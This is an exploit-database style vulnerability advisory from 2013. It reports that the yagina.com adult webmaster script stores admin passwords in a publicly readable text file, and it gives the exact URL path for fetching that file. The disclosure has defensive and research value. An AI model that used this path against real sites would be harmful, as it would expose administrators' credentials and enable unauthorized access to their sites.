17 lines
No EOL
858 B
Text
17 lines
No EOL
858 B
Text
# Exploit Title: Yagina.com Adult Webmaster Script Admin Password Disclosure
|
|
# Category:webapps
|
|
# Description software : software website for webmasters promoting adult companies through referrals
|
|
# Date: 21-1-2013
|
|
# Exploit Author: Dshellnoi Unix
|
|
# Vendor Homepage: http://www.yagina.com/
|
|
# Software Link: http://sourceforge.net/projects/adultweb/?source=dlp
|
|
|
|
#-----------------------------VULNERABIlITY DESCRIPTION------------------------------------#
|
|
The failure comes from saving passwords in a text file with php fwrite function,
|
|
that can be read by the url
|
|
|
|
#---------------------------------EXPLOIT---------------------------------------------------#
|
|
#exploit
|
|
http://[url]/admin/userpwdadfasdfre.txt
|
|
#-------------------------------------------------------------------------------------------#
|
|
#Thanks to : Luisfer ,Ivan sanchez, Juan carlos garcia |